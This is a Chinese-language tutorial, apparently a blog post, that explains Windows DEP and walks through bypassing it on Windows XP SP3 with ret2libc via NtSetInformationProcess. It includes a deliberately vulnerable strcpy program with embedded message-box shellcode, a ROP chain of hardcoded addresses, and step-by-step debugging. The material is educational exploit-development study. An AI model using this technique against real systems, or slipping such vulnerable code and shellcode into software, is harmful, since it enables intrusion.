1.    DEP内存保护机制

1.1   DEP工作原理

分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,数据执行保护DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时(注1),程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。如下图所示。

DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。微软从Windows XP SP2开始提供这种技术支持,根据实现的机制不同分为:软件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)。

软件DEP其实就是之前的safeSEH,与CPU硬件无关,其本质是Windows利用软件模拟实现DEP,对操作系统提供一定的保护。

硬件DEP才是真正意义的DEP,硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD),两者功能及工作原理在本质上是相同的。

操作系统通过设置内存页的NX/XD属性标记,来指明不能从该内存执行代码。为了实现这个功能,需要在内存的页面表(Page Table)中加入一个特殊的标识位(NX/XD)来标识是否允许在该页上执行指令。当该标识位设置为0里表示这个页面允许执行指令,设置为1时表示该页面不允许执行指令。

1.2    DEP绕过思路

i.利用未启用DEP保护机制的模块绕过DEP保护机制:

根据启动参数的不同,DEP工作状态可以分为四种:

(1)optin:默认仅将DEP保护应用于Windows系统组件和服务,对于其他程序不予保护,但用户可以通过应用程序兼容性工具(ACT,Application Compatibility Toolkit)为选定的程序启用DEP,在Vista下边经过/NXcompat选项编译过的程序将自动应用DEP.这种模式可以被应用程序动态关闭,它多用于普通用户版的操作系统,如Windows XP、Windows Vista、Windows7.

(2)optout:为排除列表程序外的所有程序和服务启用DEP,用户可以手动在排除列表中指定不启用DEP保护的程序和服务。这种模式可以被应用程序动态关闭,它多用于服务器版的操作系统,如 Windows Server 2003、Windows Server 2008.

(3)alwaysOn:对所有进程启用DEP 的保护,不存在排序列表,在这种模式下,DEP不可以被关闭,目前只有在64位的操作系统上才工作在AlwaysOn模式。

(4)alwaysOff:对所有进程都禁用DEP,这种模式下,DEP也不能被动态开启,这种模式一般只有在某种特定场合才使用,如DEP干扰到程序的正常运行。

在32位机子上有很多程序是不受DEP保护机制保护的,利用这些程序中的指令可以绕过DEP,方法类似于利用未启用safeSEH保护机制的模块绕过safeSEH机制。

ii.利用Ret2Libc绕过DEP:

Ret2Libc是Return-to-libc的简写,DEP机制不允许我们在非可执行页执行指令,那么,我们可以为shellcode中的每条指令都在代码区(可执行页)中找到一条替代指令,这种指令链就是传说中的ROP链了,通过ROP链就可以完成exploit了。

可以利用绕过DEP的API函数:

iii.利用可执行内存绕过DEP

有时候在进程的内存空间中会存在一段可读可写可执行的内存(这个就要看机缘了),如果我们能够将shellcode复制到这段内存中,并劫持程序流程,shellcode就可以执行了。

利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

⑴.  原理分析:

i.相关概念:

一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上(只可以用于win xp,win 2000,win 2003),而这个标识可以通过API函数ZwSetInformationProcess函数和ZwQueryInformationProcess函数进行修改和查询。

Win XP下的KPROCESS结构:

nt!_EPROCESS
           +0x000 Pcb    
         : _KPROCESS
         +0x000 Header
          : _DISPATCHER_HEADER

······

+0x06b Flags      
       : _KEXECUTE_OPTIONS

······

_KEXECUTE_OPTIONS选项:

+0x06b Flags       : _KEXECUTE_OPTIONS
 +0x000 ExecuteDisable     : Pos 0, 1 Bit
 +0x000 ExecuteEnable     : Pos 1, 1 Bit
 +0x000 DisableThunkEmulation   : Pos 2, 1 Bit
 +0x000 Permanent     : Pos 3, 1 Bit
 +0x000 ExecuteDispatchEnable   : Pos 4, 1 Bit
 +0x000 ImageDispatchEnable   : Pos 5, 1 Bit
 +0x000 Spare       : Pos 6, 2 Bits

当DEP被启用时,ExecuteDisable 被置位,当DEP被禁用,ExecuteEnable 被置位,当Permanent 标志置位时表示这些设置是最终设置,不可更改。

NtSetInformationProcess函数:

将NtSetInformationProcess关闭函数参数设置如下参数,就可以关闭DEP保护机制。

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
  NtCurrentProcess(),    // ProcessHandle = -1
  ProcessExecuteFlags,   // ProcessInformationClass = 0x22(ProcessExecuteFlags)
  &ExecuteFlags,               // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
  sizeof(ExecuteFlags));   // ProcessInformationLength = 0x4

ii.思路分析:

通过上面相关概念的介绍,我们可以得到利用NtSetInformationProcess函数绕过DEP保护机制的思路,只要在调用NtSetInformationProcess函数之前利用ROP技术设置如上文提到参数,在调用NtSetInformationProcess函数,就可以关闭掉DEP机制了,(或者也可以查找系统中本身就又的一些关闭DEP的程序,比构造手动ROP链简单,但使用版本有限制)。

⑵.环境准备:

i.实验代码:

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

#include <windows.h>

char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x70\xE2\x92\x7C"//MOV EAX,1
RETN地址

"\x70\xdc\xec\x77"//将EBP指向可执行地址

"\xaa\xd3\x92\x7c"//增大ESP地址

"\x28\x4f\xc5\x7d"//jmp esp地址

"\x44\xcd\x93\x7c"//关闭DEP代码地址

"\xe9\x33\xff\xff\xff\x90\x90\x90"//长跳指令

;

void test()

{

char
tt[176];

strcpy(tt,shellcode);

}

int main()

{

HINSTANCE
hInst = LoadLibrary("shell32.dll");

char
temp[200];

test();

return 0;

}

ii.测试环境:

测试平台:window xp with sp3(win7 上找不到可以利用的map文件)。

启用DEP保护机制:

编译环境:

为了避免其他保护机制的影响,直接用visual c++ 6.0编译。

⑶.调试分析:

找到存在溢出的函数strcpy:

缓冲区起点:0x0012fdfc

溢出点(函数返回地址):0x0012feb0

⑷.攻击过程:

i.确定覆盖面积:

覆盖面积
= 函数返回地址–缓冲区起始地址 + 4 = 0xB8 = 184(字节)

ii.编写payload(弹框):

这里偷懒,直接用了网上的,当然也可以用msfevon生成。

iii.查找系统中可能的关闭DEP的程序:

使用OllyFindAddr插件查找统中可能的关闭DEP的程序指令,结果如下:

结果如下:

得到的关闭DEP的程序指令起始地址:

0x7c93cd44

iii.了解关闭过程:

那么,接着上一步,我们直接将函数的返回地址覆盖成关闭DEP的程序指令起始地址,之后再跳转回去执行我们的恶意代码,就可以了???

答案当然是NO,

这里我们已经找到了这段关闭DEP的程序代码,但是,我们的攻击还是失败了,这就要分析一下这段代码是这门关闭DEP的,需要什么参数,是不是我们的命令不全,导致这个漏洞利用失败了。

观察程序,

只有在al = 1的时候,这个关闭DEP的程序才会继续执行下去,所以,就需要在调用这段程序之前,将eax的值赋为1。

这里在可执行区域查找指令得到指令(OllyFindAddr插件搜索结果的step2),得到指令地址0x7c92e270

将这个地址写在调用DEP关闭程序之前,那岂不是就OK了?

iv,调整ebp:

第iii步的执行结果如下:

哇???这?为什么?

因为我们的shellcode在覆盖的时候把栈的将来要EBP的地址覆盖掉了,而关闭程序中会以ebp为基址写入参数:

这个时候程序就崩溃了,我们覆盖的地址是没有写入权限的啊,,,

怎么办?

在执行关闭代码之前将ebp指向一个可以写的地址,怎么找?

在(OllyFindAddr插件搜索结果的step3)就有一些可以利用的指令地址,但是根据现场寄存器的情况可以得出,只有ESP保存的地址是可以写入的,所以就要ESP的地址写入到EBP中,指令:PUSH ESP POP EBP RET 4 ,PUSH ESP POP EBP指令将ESP的值写入到EBP中,esp值增加8字节。

所以在修正ebp指令的地址之后8字节处写入关闭DEP机制的程序地址,之后再写入跳转指令,跳回payload就可以了?

v.增大ESP:

上一步的运行结果如下:

?为什么?

因为,当执行关闭DEP的程序的时候,入栈的参数把返回这个程序的返回地址覆盖掉了,,,

观察参数入栈操作:

直接压入栈顶,和EBP没有关系,所以,这个时候,要想使参数不能覆盖掉返回地址,就需要将栈顶抬高:

查找指令  retn 0x28

将这个指令的地址写在调用关闭DEP程序指令地址(0x0012fec0)之前,为了达到控制EIP的目的,要对关闭DEP的程序的返回地址进行控制,可以看到返回地址位于栈0x0012febc处,返回后端栈顶值为0x0012fec4。所以就可在Ox0012febc处写入指令jmp esp的地址*(直接查找就可以),在0x0012febc处输入跳转指令。

vi.计算跳转指令

payload起始地址
= 0x0012fdfc

跳转起始地址
= 0x0012fec4

跳转距离
= 跳转起始地址 - payload起始地址 – 指令长度(5)= ffffff38

跳转指令:E938ffffff

vii.Shellcode结构:

viii.运行结果:


       

成功。

内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数的更多相关文章

  1. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  2. Linux下利用Ret2Libc绕过DEP

    Linux下利用Ret2Libc绕过DEP ⑴.  原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...

  3. 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH

    利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴.  原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...

  4. 20155306 白皎 0day漏洞——漏洞利用原理之DEP

    20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...

  5. 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH

    前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴.  原理分析: 一个不是仅包含中间语言(1L)且 ...

  6. 内存保护机制及绕过方案——从堆中绕过safeSEH

    1.1    SafeSEH内存保护机制 1.1.1    Windows异常处理机制 Windows中主要两种异常处理机制,Windows异常处理(VEH.SEH)和C++异常处理.Windows异 ...

  7. 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

    1    GS内存保护机制 1.1    GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...

  8. UAC 实现原理及绕过方法-打洞专用

    首页 新随笔 订阅 管理 随笔 - 7  文章 - 0  评论 - 0 UAC 实现原理及绕过方法   目录 0x01 UAC 实现方法(用户登陆过程)0x02 UAC 架构0x03 触发UAC0x0 ...

  9. UAC 实现原理及绕过方法

    目录 0x00 UAC 工作流程 0x01 UAC 实现方法(用户登陆过程) 0x02 UAC 架构 0x03 触发UAC 0x04 UAC 虚拟化 0x05 UAC 逆向分析 1x00 UAC By ...

随机推荐

  1. 51nod 1391 01串(hash+DP)

    题目链接题意:给定一个01串S,求出它的一个尽可能长的子串S[i..j],满足存在一个位置i<=x <=j, S[i..x]中0比1多,而S[x + 1..j]中1比0多.求满足条件的最长 ...

  2. NC审批流开发流程

            1.新建的是数据库表结构中一定要有                          [审批人.                            制单人.             ...

  3. pom.xml文件报错:web.xml is missing and <failOnMissingWebXml> is set to true

    这个错误原因是因为项目无法加载到web.xml,所以需要配置web项目的目录.具体解决,配置步骤如下: 1.右键项目属性,配置项目目录  /src/main/webapp,如果没有,新增一条 2.配置 ...

  4. redis 简单命令操作

    一.概述: 在该系列的前几篇博客中,主要讲述的是与Redis数据类型相关的命令,如String.List.Set.Hashes和Sorted-Set.这些命令都具有一个共同点,即所有的操作都是针对与K ...

  5. PHP+MySQL数据库编程的步骤

    第一步:PHP连接MySQL服务器 第二步:选择当前要操作的数据库 第三步:设置请求或返回的数据的字符集 第四步:执行各种SQL语句. PHP连接MySQL服务器 1.mysql_connect() ...

  6. Helloworld.JaVa 第一次编程

    package Jc; class Jc1st { public static void main(String[] args) { System.out.println("Hello Wo ...

  7. RocEDU.阅读.写作《苏菲的世界》书摘(三)

    根据柏拉图的说法,人是一种具有双重性质的生物.我们的身体是"流动"的,与感官的世界不可分割,并且其命运与世界上其他每一件事物(如肥皂泡)都相同.我们所有的感官都是以身体为基础,因此 ...

  8. 20145327 《Java程序设计》第五周学习总结

    20145327 <Java程序设计>第五周学习总结 教材学习内容总结 try...catch:与C语言中程序流程和错误处理混在一起不同,Java中把正常流程放try块中,错误(异常)处理 ...

  9. Scrapy 分布式数据采集方案

    运行环境 CentOS7. + Python2. + Scrapy1. + MongoDB3. + BeautifulSoup4. 编程工具 PyCharm + Robomongo + Xshell ...

  10. think in java

    1.public private protected